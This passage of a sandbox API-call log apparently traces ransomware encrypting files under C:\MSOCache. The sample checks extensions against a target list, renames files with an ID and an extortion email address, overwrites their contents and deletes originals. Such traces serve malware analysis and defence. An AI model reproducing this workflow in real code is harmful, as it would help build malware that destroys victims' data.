Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.321] lstrlenW (lpString=".1cd") returned 4 [0055.321] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0055.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.321] lstrlenW (lpString=".jpg") returned 4 [0055.321] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0055.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.321] lstrlenW (lpString=".doc") returned 4 [0055.321] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0055.321] lstrlenW (lpString=".docx") returned 5 [0055.321] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0055.321] lstrlenW (lpString=".pdf") returned 4 [0055.321] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0055.321] lstrlenW (lpString=".xls") returned 4 [0055.321] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0055.321] lstrlenW (lpString=".xlsx") returned 5 [0055.321] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0055.321] lstrlenW (lpString=".ppt") returned 4 [0055.321] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0055.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.321] lstrlenW (lpString=".zip") returned 4 [0055.321] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0055.321] lstrlenW (lpString=".rar") returned 4 [0055.321] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0055.321] lstrlenW (lpString=".bz2") returned 4 [0055.321] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0055.321] lstrlenW (lpString=".7z") returned 3 [0055.321] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0055.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.321] lstrlenW (lpString=".dbf") returned 4 [0055.321] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0055.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.322] lstrlenW (lpString=".1cd") returned 4 [0055.322] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0055.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0055.322] lstrlenW (lpString=".jpg") returned 4 [0055.322] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0055.322] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0055.322] lstrlenW (lpString="ose.exe") returned 7 [0055.322] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.322] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=174440) returned 1 [0055.322] CloseHandle (hObject=0x194) returned 1 [0055.322] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0055.322] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.322] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.323] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.323] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.323] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0055.323] GetLastError () returned 0x0 [0055.323] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0055.327] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0055.331] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.331] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0055.331] SetEndOfFile (hFile=0x1e0) returned 1 [0055.331] CloseHandle (hObject=0x1e0) returned 1 [0055.331] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.331] SetEndOfFile (hFile=0x194) returned 1 [0055.333] CloseHandle (hObject=0x194) returned 1 [0055.333] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0055.333] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0055.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.333] lstrlenW (lpString=".doc") returned 4 [0055.333] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.333] lstrlenW (lpString=".docx") returned 5 [0055.333] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0055.333] lstrlenW (lpString=".pdf") returned 4 [0055.333] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.333] lstrlenW (lpString=".xls") returned 4 [0055.333] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.333] lstrlenW (lpString=".xlsx") returned 5 [0055.334] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0055.334] lstrlenW (lpString=".ppt") returned 4 [0055.334] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.334] lstrlenW (lpString=".zip") returned 4 [0055.334] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.334] lstrlenW (lpString=".rar") returned 4 [0055.334] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0055.334] lstrlenW (lpString=".bz2") returned 4 [0055.334] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0055.334] lstrlenW (lpString=".7z") returned 3 [0055.334] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0055.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.334] lstrlenW (lpString=".dbf") returned 4 [0055.334] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0055.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.334] lstrlenW (lpString=".1cd") returned 4 [0055.334] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0055.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.334] lstrlenW (lpString=".jpg") returned 4 [0055.334] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0055.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.334] lstrlenW (lpString=".doc") returned 4 [0055.334] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0055.334] lstrlenW (lpString=".docx") returned 5 [0055.334] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0055.334] lstrlenW (lpString=".pdf") returned 4 [0055.334] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0055.334] lstrlenW (lpString=".xls") returned 4 [0055.334] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0055.334] lstrlenW (lpString=".xlsx") returned 5 [0055.334] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0055.334] lstrlenW (lpString=".ppt") returned 4 [0055.335] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0055.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.335] lstrlenW (lpString=".zip") returned 4 [0055.335] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0055.335] lstrlenW (lpString=".rar") returned 4 [0055.335] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0055.335] lstrlenW (lpString=".bz2") returned 4 [0055.335] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0055.335] lstrlenW (lpString=".7z") returned 3 [0055.335] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0055.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.335] lstrlenW (lpString=".dbf") returned 4 [0055.335] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0055.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.335] lstrlenW (lpString=".1cd") returned 4 [0055.335] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0055.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0055.335] lstrlenW (lpString=".jpg") returned 4 [0055.335] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0055.335] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0055.335] lstrlenW (lpString="osetup.dll") returned 10 [0055.335] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.335] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7378792) returned 1 [0055.336] CloseHandle (hObject=0x194) returned 1 [0055.336] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0055.336] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.336] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0055.336] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.336] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0055.336] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.336] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.542] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.542] ReadFile (in: hFile=0x194, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.546] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.546] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0055.546] ReadFile (in: hFile=0x194, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.568] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.568] WriteFile (in: hFile=0x194, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0055.581] SetEndOfFile (hFile=0x194) returned 1 [0055.581] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0055.582] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.582] WriteFile (in: hFile=0x194, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.583] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.583] WriteFile (in: hFile=0x194, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.769] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.769] WriteFile (in: hFile=0x194, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.770] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0055.773] CloseHandle (hObject=0x194) returned 1 [0056.069] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0056.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.069] lstrlenW (lpString=".doc") returned 4 [0056.069] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.069] lstrlenW (lpString=".docx") returned 5 [0056.069] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0056.069] lstrlenW (lpString=".pdf") returned 4 [0056.069] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.069] lstrlenW (lpString=".xls") returned 4 [0056.069] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.069] lstrlenW (lpString=".xlsx") returned 5 [0056.069] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0056.069] lstrlenW (lpString=".ppt") returned 4 [0056.069] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.069] lstrlenW (lpString=".zip") returned 4 [0056.069] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.069] lstrlenW (lpString=".rar") returned 4 [0056.069] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.069] lstrlenW (lpString=".bz2") returned 4 [0056.069] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.069] lstrlenW (lpString=".7z") returned 3 [0056.069] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.069] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.070] lstrlenW (lpString=".dbf") returned 4 [0056.070] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.070] lstrlenW (lpString=".1cd") returned 4 [0056.070] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.070] lstrlenW (lpString=".jpg") returned 4 [0056.070] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.070] lstrlenW (lpString=".doc") returned 4 [0056.070] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.070] lstrlenW (lpString=".docx") returned 5 [0056.070] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0056.070] lstrlenW (lpString=".pdf") returned 4 [0056.070] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.070] lstrlenW (lpString=".xls") returned 4 [0056.070] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.070] lstrlenW (lpString=".xlsx") returned 5 [0056.070] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0056.070] lstrlenW (lpString=".ppt") returned 4 [0056.070] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.070] lstrlenW (lpString=".zip") returned 4 [0056.070] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.070] lstrlenW (lpString=".rar") returned 4 [0056.070] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.070] lstrlenW (lpString=".bz2") returned 4 [0056.070] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.070] lstrlenW (lpString=".7z") returned 3 [0056.070] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.070] lstrlenW (lpString=".dbf") returned 4 [0056.070] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.071] lstrlenW (lpString=".1cd") returned 4 [0056.071] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.071] lstrlenW (lpString=".jpg") returned 4 [0056.071] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.071] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0056.071] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0056.071] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0056.606] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=222948913) returned 1 [0056.610] CloseHandle (hObject=0x1f0) returned 1 [0056.647] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0056.647] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.647] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0056.648] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0056.648] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0056.648] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0056.648] ReadFile (in: hFile=0x1f0, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.656] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0056.656] ReadFile (in: hFile=0x1f0, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.662] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0056.662] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0056.662] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.677] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.677] WriteFile (in: hFile=0x1f0, lpBuffer=0x3ca0020*, 